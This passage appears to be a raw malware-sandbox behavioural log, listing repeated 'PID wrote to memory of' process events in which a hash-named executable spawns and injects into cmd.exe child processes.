81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 182 PID 1332 wrote to memory of 956 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 182 PID 956 wrote to memory of 2008 956 cmd.exe 184 PID 956 wrote to memory of 2008 956 cmd.exe 184 PID 956 wrote to memory of 2008 956 cmd.exe 184 PID 956 wrote to memory of 2008 956 cmd.exe 184 PID 956 wrote to memory of 1964 956 cmd.exe 185 PID 956 wrote to memory of 1964 956 cmd.exe 185 PID 956 wrote to memory of 1964 956 cmd.exe 185 PID 956 wrote to memory of 1964 956 cmd.exe 185 PID 956 wrote to memory of 764 956 cmd.exe 186 PID 956 wrote to memory of 764 956 cmd.exe 186 PID 956 wrote to memory of 764 956 cmd.exe 186 PID 956 wrote to memory of 764 956 cmd.exe 186 PID 764 wrote to memory of 340 764 cmd.exe 187 PID 764 wrote to memory of 340 764 cmd.exe 187 PID 764 wrote to memory of 340 764 cmd.exe 187 PID 764 wrote to memory of 340 764 cmd.exe 187 PID 956 wrote to memory of 1928 956 cmd.exe 188 PID 956 wrote to memory of 1928 956 cmd.exe 188 PID 956 wrote to memory of 1928 956 cmd.exe 188 PID 956 wrote to memory of 1928 956 cmd.exe 188 PID 1332 wrote to memory of 1972 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 189 PID 1332 wrote to memory of 1972 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 189 PID 1332 wrote to memory of 1972 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 189 PID 1332 wrote to memory of 1972 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 189 PID 1972 wrote to memory of 1624 1972 cmd.exe 191 PID 1972 wrote to memory of 1624 1972 cmd.exe 191 PID 1972 wrote to memory of 1624 1972 cmd.exe 191 PID 1972 wrote to memory of 1624 1972 cmd.exe 191 PID 1972 wrote to memory of 2044 1972 cmd.exe 192 PID 1972 wrote to memory of 2044 1972 cmd.exe 192 PID 1972 wrote to memory of 2044 1972 cmd.exe 192 PID 1972 wrote to memory of 2044 1972 cmd.exe 192 PID 1972 wrote to memory of 868 1972 cmd.exe 193 PID 1972 wrote to memory of 868 1972 cmd.exe 193 PID 1972 wrote to memory of 868 1972 cmd.exe 193 PID 1972 wrote to memory of 868 1972 cmd.exe 193 PID 868 wrote to memory of 316 868 cmd.exe 194 PID 868 wrote to memory of 316 868 cmd.exe 194 PID 868 wrote to memory of 316 868 cmd.exe 194 PID 868 wrote to memory of 316 868 cmd.exe 194 PID 1972 wrote to memory of 1492 1972 cmd.exe 195 PID 1972 wrote to memory of 1492 1972 cmd.exe 195 PID 1972 wrote to memory of 1492 1972 cmd.exe 195 PID 1972 wrote to memory of 1492 1972 cmd.exe 195 PID 1332 wrote to memory of 328 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 196 PID 1332 wrote to memory of 328 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 196 PID 1332 wrote to memory of 328 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 196 PID 1332 wrote to memory of 328 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 196 PID 328 wrote to memory of 336 328 cmd.exe 198 PID 328 wrote to memory of 336 328 cmd.exe 198 PID 328 wrote to memory of 336 328 cmd.exe 198 PID 328 wrote to memory of 336 328 cmd.exe 198 PID 328 wrote to memory of 1444 328 cmd.exe 199 PID 328 wrote to memory of 1444 328 cmd.exe 199 PID 328 wrote to memory of 1444 328 cmd.exe 199 PID 328 wrote to memory of 1444 328 cmd.exe 199 PID 328 wrote to memory of 1700 328 cmd.exe 200 PID 328 wrote to memory of 1700 328 cmd.exe 200 PID 328 wrote to memory of 1700 328 cmd.exe 200 PID 328 wrote to memory of 1700 328 cmd.exe 200 PID 1700 wrote to memory of 792 1700 cmd.exe 201 PID 1700 wrote to memory of 792 1700 cmd.exe 201 PID 1700 wrote to memory of 792 1700 cmd.exe 201 PID 1700 wrote to memory of 792 1700 cmd.exe 201 PID 328 wrote to memory of 1420 328 cmd.exe 202 PID 328 wrote to memory of 1420 328 cmd.exe 202 PID 328 wrote to memory of 1420 328 cmd.exe 202 PID 328 wrote to memory of 1420 328 cmd.exe 202 PID 1332 wrote to memory of 1848 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 203 PID 1332 wrote to memory of 1848 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 203 PID 1332 wrote to memory of 1848 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 203 PID 1332 wrote to memory of 1848 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 203 PID 1848 wrote to memory of 836 1848 cmd.exe 205 PID 1848 wrote to memory of 836 1848 cmd.exe 205 PID 1848 wrote to memory of 836 1848 cmd.exe 205 PID 1848 wrote to memory of 836 1848 cmd.exe 205 PID 1848 wrote to memory of 2024 1848 cmd.exe 206 PID 1848 wrote to memory of 2024 1848 cmd.exe 206 PID 1848 wrote to memory of 2024 1848 cmd.exe 206 PID 1848 wrote to memory of 2024 1848 cmd.exe 206 PID 1848 wrote to memory of 1932 1848 cmd.exe 207 PID 1848 wrote to memory of 1932 1848 cmd.exe 207 PID 1848 wrote to memory of 1932 1848 cmd.exe 207 PID 1848 wrote to memory of 1932 1848 cmd.exe 207 PID 1932 wrote to memory of 940 1932 cmd.exe 208 PID 1932 wrote to memory of 940 1932 cmd.exe 208 PID 1932 wrote to memory of 940 1932 cmd.exe 208 PID 1932 wrote to memory of 940 1932 cmd.exe 208 PID 1848 wrote to memory of 1040 1848 cmd.exe 209 PID 1848 wrote to memory of 1040 1848 cmd.exe 209 PID 1848 wrote to memory of 1040 1848 cmd.exe 209 PID 1848 wrote to memory of 1040 1848 cmd.exe 209 PID 1332 wrote to memory of 1108 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 210 PID 1332 wrote to memory of 1108 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 210 PID 1332 wrote to memory of 1108 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 210 PID 1332 wrote to memory of 1108 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 210 PID 1108 wrote to memory of 1232 1108 cmd.exe 212 PID 1108 wrote to memory of 1232 1108 cmd.exe 212 PID 1108 wrote to memory of 1232 1108 cmd.exe 212 PID 1108 wrote to memory of 1232 1108 cmd.exe 212 PID 1108 wrote to memory of 1548 1108 cmd.exe 213 PID 1108 wrote to memory of 1548 1108 cmd.exe 213 PID 1108 wrote to memory of 1548 1108 cmd.exe 213 PID 1108 wrote to memory of 1548 1108 cmd.exe 213 PID 1788 wrote to memory of 1096 1788 wscript.exe 214 PID 1788 wrote to memory of 1096 1788 wscript.exe 214 PID 1788 wrote to memory of 1096 1788 wscript.exe 214 PID 1788 wrote to memory of 1096 1788 wscript.exe 214 PID 1096 wrote to memory of 548 1096 cmd.exe 216 PID 1096 wrote to memory of 548 1096 cmd.exe 216 PID 1096 wrote to memory of 548 1096 cmd.exe 216 PID 1096 wrote to memory of 548 1096 cmd.exe 216 PID 1108 wrote to memory of 2020 1108 cmd.exe 217 PID 1108 wrote to memory of 2020 1108 cmd.exe 217 PID 1108 wrote to memory of 2020 1108 cmd.exe 217 PID 1108 wrote to memory of 2020 1108 cmd.exe 217 PID 2020 wrote to memory of 2004 2020 cmd.exe 218 PID 2020 wrote to memory of 2004 2020 cmd.exe 218 PID 2020 wrote to memory of 2004 2020 cmd.exe 218 PID 2020 wrote to memory of 2004 2020 cmd.exe 218 PID 1108 wrote to memory of 1780 1108 cmd.exe 219 PID 1108 wrote to memory of 1780 1108 cmd.exe 219 PID 1108 wrote to memory of 1780 1108 cmd.exe 219 PID 1108 wrote to memory of 1780 1108 cmd.exe 219 PID 1332 wrote to memory of 2000 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 220 PID 1332 wrote to memory of 2000 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 220 PID 1332 wrote to memory of 2000 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 220 PID 1332 wrote to memory of 2000 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 220 PID 2000 wrote to memory of 1372 2000 cmd.exe 222 PID 2000 wrote to memory of 1372 2000 cmd.exe 222 PID 2000 wrote to memory of 1372 2000 cmd.exe 222 PID 2000 wrote to memory of 1372 2000 cmd.exe 222 PID 2000 wrote to memory of 340 2000 cmd.exe 223 PID 2000 wrote to memory of 340 2000 cmd.exe 223 PID 2000 wrote to memory of 340 2000 cmd.exe 223 PID 2000 wrote to memory of 340 2000 cmd.exe 223 PID 2000 wrote to memory of 1928 2000 cmd.exe 224 PID 2000 wrote to memory of 1928 2000 cmd.exe 224 PID 2000 wrote to memory of 1928 2000 cmd.exe 224 PID 2000 wrote to memory of 1928 2000 cmd.exe 224 PID 1928 wrote to memory of 732 1928 cmd.exe 225 PID 1928 wrote to memory of 732 1928 cmd.exe 225 PID 1928 wrote to memory of 732 1928 cmd.exe 225 PID 1928 wrote to memory of 732 1928 cmd.exe 225 PID 2000 wrote to memory of 1104 2000 cmd.exe 226 PID 2000 wrote to memory of 1104 2000 cmd.exe 226 PID 2000 wrote to memory of 1104 2000 cmd.exe 226 PID 2000 wrote to memory of 1104 2000 cmd.exe 226 PID 1332 wrote to memory of 616 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 227 PID 1332 wrote to memory of 616 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 227 PID 1332 wrote to memory of 616 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 227 PID 1332 wrote to memory of 616 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 227 PID 616 wrote to memory of 2044 616 cmd.exe 229 PID 616 wrote to memory of 2044 616 cmd.exe 229 PID 616 wrote to memory of 2044 616 cmd.exe 229 PID 616 wrote to memory of 2044 616 cmd.exe 229 PID 616 wrote to memory of 868 616 cmd.exe 230 PID 616 wrote to memory of 868 616 cmd.exe 230 PID 616 wrote to memory of 868 616 cmd.exe 230 PID 616 wrote to memory of 868 616 cmd.exe 230 PID 616 wrote to memory of 1312 616 cmd.exe 231 PID 616 wrote to memory of 1312 616 cmd.exe 231 PID 616 wrote to memory of 1312 616 cmd.exe 231 PID 616 wrote to memory of 1312 616 cmd.exe 231 PID 1312 wrote to memory of 972 1312 cmd.exe 232 PID 1312 wrote to memory of 972 1312 cmd.exe 232 PID 1312 wrote to memory of 972 1312 cmd.exe 232 PID 1312 wrote to memory of 972 1312 cmd.exe 232 PID 616 wrote to memory of 1444 616 cmd.exe 233 PID 616 wrote to memory of 1444 616 cmd.exe 233 PID 616 wrote to memory of 1444 616 cmd.exe 233 PID 616 wrote to memory of 1444 616 cmd.exe 233 PID 1332 wrote to memory of 1820 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 234 PID 1332 wrote to memory of 1820 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 234 PID 1332 wrote to memory of 1820 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 234 PID 1332 wrote to memory of 1820 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 234 PID 1820 wrote to memory of 980 1820 cmd.exe 236 PID 1820 wrote to memory of 980 1820 cmd.exe 236 PID 1820 wrote to memory of 980 1820 cmd.exe 236 PID 1820 wrote to memory of 980 1820 cmd.exe 236 PID 1820 wrote to memory of 1432 1820 cmd.exe 237 PID 1820 wrote to memory of 1432 1820 cmd.exe 237 PID 1820 wrote to memory of 1432 1820 cmd.exe 237 PID 1820 wrote to memory of 1432 1820 cmd.exe 237 PID 1820 wrote to memory of 1328 1820 cmd.exe 238 PID 1820 wrote to memory of 1328 1820 cmd.exe 238 PID 1820 wrote to memory of 1328 1820 cmd.exe 238 PID 1820 wrote to memory of 1328 1820 cmd.exe 238 PID 1328 wrote to memory of 1960 1328 cmd.exe 239 PID 1328 wrote to memory of 1960 1328 cmd.exe 239 PID 1328 wrote to memory of 1960 1328 cmd.exe 239 PID 1328 wrote to memory of 1960 1328 cmd.exe 239 PID 1820 wrote to memory of 764 1820 cmd.exe 240 PID 1820 wrote to memory of 764 1820 cmd.exe 240 PID 1820 wrote to memory of 764 1820 cmd.exe 240 PID 1820 wrote to memory of 764 1820 cmd.exe 240 PID 1332 wrote to memory of 836 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 241 PID 1332 wrote to memory of 836 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 241 PID 1332 wrote to memory of 836 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 241 PID 1332 wrote to memory of 836 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 241 PID 836 wrote to memory of 732 836 cmd.exe 243 PID 836 wrote to memory of 732 836 cmd.exe 243 PID 836 wrote to memory of 732 836 cmd.exe 243 PID 836 wrote to memory of 732 836 cmd.exe 243 PID 836 wrote to memory of 1212 836 cmd.exe 244 PID 836 wrote to memory of 1212 836 cmd.exe 244 PID 836 wrote to memory of 1212 836 cmd.exe 244 PID 836 wrote to memory of 1212 836 cmd.exe 244 PID 836 wrote to memory of 1196 836 cmd.exe 245 PID 836 wrote to memory of 1196 836 cmd.exe 245 PID 836 wrote to memory of 1196 836 cmd.exe 245 PID 836 wrote to memory of 1196 836 cmd.exe 245 PID 1196 wrote to memory of 1532 1196 cmd.exe 246 PID 1196 wrote to memory of 1532 1196 cmd.exe 246 PID 1196 wrote to memory of 1532 1196 cmd.exe 246 PID 1196 wrote to memory of 1532 1196 cmd.exe 246 PID 836 wrote to memory of 316 836 cmd.exe 247 PID 836 wrote to memory of 316 836 cmd.exe 247 PID 836 wrote to memory of 316 836 cmd.exe 247 PID 836 wrote to memory of 316 836 cmd.exe 247 PID 1332 wrote to memory of 1492 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 248 PID 1332 wrote to memory of 1492 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 248 PID 1332 wrote to memory of 1492 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 248 PID 1332 wrote to memory of 1492 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 248 PID 1492 wrote to memory of 972 1492 cmd.exe 250 PID 1492 wrote to memory of 972 1492 cmd.exe 250 PID 1492 wrote to memory of 972 1492 cmd.exe 250 PID 1492 wrote to memory of 972 1492 cmd.exe 250 PID 1492 wrote to memory of 336 1492 cmd.exe 251 PID 1492 wrote to memory of 336 1492 cmd.exe 251 PID 1492 wrote to memory of 336 1492 cmd.exe 251 PID 1492 wrote to memory of 336 1492 cmd.exe 251 PID 1492 wrote to memory of 1888 1492 cmd.exe 252 PID 1492 wrote to memory of 1888 1492 cmd.exe 252 PID 1492 wrote to memory of 1888 1492 cmd.exe 252 PID 1492 wrote to memory of 1888 1492 cmd.exe 252 PID 1888 wrote to memory of 1040 1888 cmd.exe 253 PID 1888 wrote to memory of 1040 1888 cmd.exe 253 PID 1888 wrote to memory of 1040 1888 cmd.exe 253 PID 1888 wrote to memory of 1040 1888 cmd.exe 253 PID 1492 wrote to memory of 1108 1492 cmd.exe 254 PID 1492 wrote to memory of 1108 1492 cmd.exe 254 PID 1492 wrote to memory of 1108 1492 cmd.exe 254 PID 1492 wrote to memory of 1108 1492 cmd.exe 254 PID 1332 wrote to memory of 2008 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 255 PID 1332 wrote to memory of 2008 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 255 PID 1332 wrote to memory of 2008 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 255 PID 1332 wrote to memory of 2008 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 255 PID 2008 wrote to memory of 1960 2008 cmd.exe 257 PID 2008 wrote to memory of 1960 2008 cmd.exe 257 PID 2008 wrote to memory of 1960 2008 cmd.exe 257 PID 2008 wrote to memory of 1960 2008 cmd.exe 257 PID 2008 wrote to memory of 1880 2008 cmd.exe 258 PID 2008 wrote to memory of 1880 2008 cmd.exe 258 PID 2008 wrote to memory of 1880 2008 cmd.exe 258 PID 2008 wrote to memory of 1880 2008 cmd.exe 258 PID 2008 wrote to memory of 856 2008 cmd.exe 259 PID 2008 wrote to memory of 856 2008 cmd.exe 259 PID 2008 wrote to memory of 856 2008 cmd.exe 259 PID 2008 wrote to memory of 856 2008 cmd.exe 259 PID 856 wrote to memory of 792 856 cmd.exe 260 PID 856 wrote to memory of 792 856 cmd.exe 260 PID 856 wrote to memory of 792 856 cmd.exe 260 PID 856 wrote to memory of 792 856 cmd.exe 260 PID 2008 wrote to memory of 1624 2008 cmd.exe 261 PID 2008 wrote to memory of 1624 2008 cmd.exe 261 PID 2008 wrote to memory of 1624 2008 cmd.exe 261 PID 2008 wrote to memory of 1624 2008 cmd.exe 261 PID 1332 wrote to memory of 1932 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 262 PID 1332 wrote to memory of 1932 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 262 PID 1332 wrote to memory of 1932 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 262 PID 1332 wrote to memory of 1932 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 262 PID 1932 wrote to memory of 1532 1932 cmd.exe 264 PID 1932 wrote to memory of 1532 1932 cmd.exe 264 PID 1932 wrote to memory of 1532 1932 cmd.exe 264 PID 1932 wrote to memory of 1532 1932 cmd.exe 264 PID 1932 wrote to memory of 1176 1932 cmd.exe 265 PID 1932 wrote to memory of 1176 1932 cmd.exe 265 PID 1932 wrote to memory of 1176 1932 cmd.exe 265 PID 1932 wrote to memory of 1176 1932 cmd.exe 265 PID 1932 wrote to memory of 316 1932 cmd.exe 266 PID 1932 wrote to memory of 316 1932 cmd.exe 266 PID 1932 wrote to memory of 316 1932 cmd.exe 266 PID 1932 wrote to memory of 316 1932 cmd.exe 266 PID 316 wrote to memory of 940 316 cmd.exe 267 PID 316 wrote to memory of 940 316 cmd.exe 267 PID 316 wrote to memory of 940 316 cmd.exe 267 PID 316 wrote to memory of 940 316 cmd.exe 267 PID 1932 wrote to memory of 1548 1932 cmd.exe 268 PID 1932 wrote to memory of 1548 1932 cmd.exe 268 PID 1932 wrote to memory of 1548 1932 cmd.exe 268 PID 1932 wrote to memory of 1548 1932 cmd.exe 268 PID 1332 wrote to memory of 2020 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 269 PID 1332 wrote to memory of 2020 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 269 PID 1332 wrote to memory of 2020 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 269 PID 1332 wrote to memory of 2020 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 269 PID 2020 wrote to memory of 1040 2020 cmd.exe 271 PID 2020 wrote to memory of 1040 2020 cmd.exe 271 PID 2020 wrote to memory of 1040 2020 cmd.exe 271 PID 2020 wrote to memory of 1040 2020 cmd.exe 271 PID 2020 wrote to memory of 1308 2020 cmd.exe 272 PID 2020 wrote to memory of 1308 2020 cmd.exe 272 PID 2020 wrote to memory of 1308 2020 cmd.exe 272 PID 2020 wrote to memory of 1308 2020 cmd.exe 272 PID 2020 wrote to memory of 1012 2020 cmd.exe 273 PID 2020 wrote to memory of 1012 2020 cmd.exe 273 PID 2020 wrote to memory of 1012 2020 cmd.exe 273 PID 2020 wrote to memory of 1012 2020 cmd.exe 273 PID 1012 wrote to memory of 1776 1012 cmd.exe 274 PID 1012 wrote to memory of 1776 1012 cmd.exe 274 PID 1012 wrote to memory of 1776 1012 cmd.exe 274 PID 1012 wrote to memory of 1776 1012 cmd.exe 274 PID 2020 wrote to memory of 1328 2020 cmd.exe 275 PID 2020 wrote to memory of 1328 2020 cmd.exe 275 PID 2020 wrote to memory of 1328 2020 cmd.exe 275 PID 2020 wrote to memory of 1328 2020 cmd.exe 275 PID 1332 wrote to memory of 564 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 276 PID 1332 wrote to memory of 564 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 276 PID 1332 wrote to memory of 564 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 276 PID 1332 wrote to memory of 564 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 276 PID 564 wrote to memory of 1120 564 cmd.exe 278 PID 564 wrote to memory of 1120 564 cmd.exe 278 PID 564 wrote to memory of 1120 564 cmd.exe 278 PID 564 wrote to memory of 1120 564 cmd.exe 278 PID 564 wrote to memory of 1104 564 cmd.exe 279 PID 564 wrote to memory of 1104 564 cmd.exe 279 PID 564 wrote to memory of 1104 564 cmd.exe 279 PID 564 wrote to memory of 1104 564 cmd.exe 279 PID 564 wrote to memory of 2024 564 cmd.exe 280 PID 564 wrote to memory of 2024 564 cmd.exe 280 PID 564 wrote to memory of 2024 564 cmd.exe 280 PID 564 wrote to memory of 2024 564 cmd.exe 280 PID 2024 wrote to memory of 968 2024 cmd.exe 281 PID 2024 wrote to memory of 968 2024 cmd.exe 281 PID 2024 wrote to memory of 968 2024 cmd.exe 281 PID 2024 wrote to memory of 968 2024 cmd.exe 281 PID 564 wrote to memory of 1048 564 cmd.exe 282 PID 564 wrote to memory of 1048 564 cmd.exe 282 PID 564 wrote to memory of 1048 564 cmd.exe 282 PID 564 wrote to memory of 1048 564 cmd.exe 282 PID 1332 wrote to memory of 1232 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 283 PID 1332 wrote to memory of 1232 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 283 PID 1332 wrote to memory of 1232 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 283 PID 1332 wrote to memory of 1232 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 283 PID 1232 wrote to memory of 1544 1232 cmd.exe 285 PID 1232 wrote to memory of 1544 1232 cmd.exe 285 PID 1232 wrote to memory of 1544 1232 cmd.exe 285 PID 1232 wrote to memory of 1544 1232 cmd.exe 285 PID 1232 wrote to memory of 940 1232 cmd.exe 286 PID 1232 wrote to memory of 940 1232 cmd.exe 286 PID 1232 wrote to memory of 940 1232 cmd.exe 286 PID 1232 wrote to memory of 940 1232 cmd.exe 286 PID 1232 wrote to memory of 972 1232 cmd.exe 287 PID 1232 wrote to memory of 972 1232 cmd.exe 287 PID 1232 wrote to memory of 972 1232 cmd.exe 287 PID 1232 wrote to memory of 972 1232 cmd.exe 287 PID 972 wrote to memory of 1444 972 cmd.exe 288 PID 972 wrote to memory of 1444 972 cmd.exe 288 PID 972 wrote to memory of 1444 972 cmd.exe 288 PID 972 wrote to memory of 1444 972 cmd.exe 288 PID 1232 wrote to memory of 1932 1232 cmd.exe 289 PID 1232 wrote to memory of 1932 1232 cmd.exe 289 PID 1232 wrote to memory of 1932 1232 cmd.exe 289 PID 1232 wrote to memory of 1932 1232 cmd.exe 289 PID 1332 wrote to memory of 1040 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 290 PID 1332 wrote to memory of 1040 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 290 PID 1332 wrote to memory of 1040 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 290 PID 1332 wrote to memory of 1040 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 290 PID 1040 wrote to memory of 1756 1040 cmd.exe 292 PID 1040 wrote to memory of 1756 1040 cmd.exe 292 PID 1040 wrote to memory of 1756 1040 cmd.exe 292 PID 1040 wrote to memory of 1756 1040 cmd.exe 292 PID 1040 wrote to memory of 1012 1040 cmd.exe 293 PID 1040 wrote to memory of 1012 1040 cmd.exe 293 PID 1040 wrote to memory of 1012 1040 cmd.exe 293 PID 1040 wrote to memory of 1012 1040 cmd.exe 293 PID 1040 wrote to memory of 1372 1040 cmd.exe 294 PID 1040 wrote to memory of 1372 1040 cmd.exe 294 PID 1040 wrote to memory of 1372 1040 cmd.exe 294 PID 1040 wrote to memory of 1372 1040 cmd.exe 294 PID 1372 wrote to memory of 336 1372 cmd.exe 295 PID 1372 wrote to memory of 336 1372 cmd.exe 295 PID 1372 wrote to memory of 336 1372 cmd.exe 295 PID 1372 wrote to memory of 336 1372 cmd.exe 295 PID 1040 wrote to memory of 1604 1040 cmd.exe 296 PID 1040 wrote to memory of 1604 1040 cmd.exe 296 PID 1040 wrote to memory of 1604 1040 cmd.exe 296 PID 1040 wrote to memory of 1604 1040 cmd.exe 296 PID 1332 wrote to memory of 928 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 297 PID 1332 wrote to memory of 928 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 297 PID 1332 wrote to memory of 928 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 297 PID 1332 wrote to memory of 928 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 297 PID 928 wrote to memory of 968 928 cmd.exe 299 PID 928 wrote to memory of 968 928 cmd.exe 299 PID 928 wrote to memory of 968 928 cmd.exe 299 PID 928 wrote to memory of 968 928 cmd.exe 299 PID 928 wrote to memory of 2000 928 cmd.exe 300 PID 928 wrote to memory of 2000 928 cmd.exe 300 PID 928 wrote to memory of 2000 928 cmd.exe 300 PID 928 wrote to memory of 2000 928 cmd.exe 300 PID 928 wrote to memory of 1928 928 cmd.exe 301 PID 928 wrote to memory of 1928 928 cmd.exe 301 PID 928 wrote to memory of 1928 928 cmd.exe 301 PID 928 wrote to memory of 1928 928 cmd.exe 301 PID 1928 wrote to memory of 956 1928 cmd.exe 302 PID 1928 wrote to memory of 956 1928 cmd.exe 302 PID 1928 wrote to memory of 956 1928 cmd.exe 302 PID 1928 wrote to memory of 956 1928 cmd.exe 302 PID 928 wrote to memory of 1312 928 cmd.exe 303 PID 928 wrote to memory of 1312 928 cmd.exe 303 PID 928 wrote to memory of 1312 928 cmd.exe 303 PID 928 wrote to memory of 1312 928 cmd.exe 303 PID 1332 wrote to memory of 1184 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 304 PID 1332 wrote to memory of 1184 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 304 PID 1332 wrote to memory of 1184 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 304 PID 1332 wrote to memory of 1184 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 304 PID 1184 wrote to memory of 1444 1184 cmd.exe 306 PID 1184 wrote to memory of 1444 1184 cmd.exe 306 PID 1184 wrote to memory of 1444 1184 cmd.exe 306 PID 1184 wrote to memory of 1444 1184 cmd.exe 306 PID 1184 wrote to memory of 416 1184 cmd.exe 307 PID 1184 wrote to memory of 416 1184 cmd.exe 307 PID 1184 wrote to memory of 416 1184 cmd.exe 307 PID 1184 wrote to memory of 416 1184 cmd.exe 307 PID 1184 wrote to memory of 340 1184 cmd.exe 308 PID 1184 wrote to memory of 340 1184 cmd.exe 308 PID 1184 wrote to memory of 340 1184 cmd.exe 308 PID 1184 wrote to memory of 340 1184 cmd.exe 308 PID 340 wrote to memory of 1248 340 cmd.exe 309 PID 340 wrote to memory of 1248 340 cmd.exe 309 PID 340 wrote to memory of 1248 340 cmd.exe 309 PID 340 wrote to memory of 1248 340 cmd.exe 309 PID 1184 wrote to memory of 1160 1184 cmd.exe 310 PID 1184 wrote to memory of 1160 1184 cmd.exe 310 PID 1184 wrote to memory of 1160 1184 cmd.exe 310 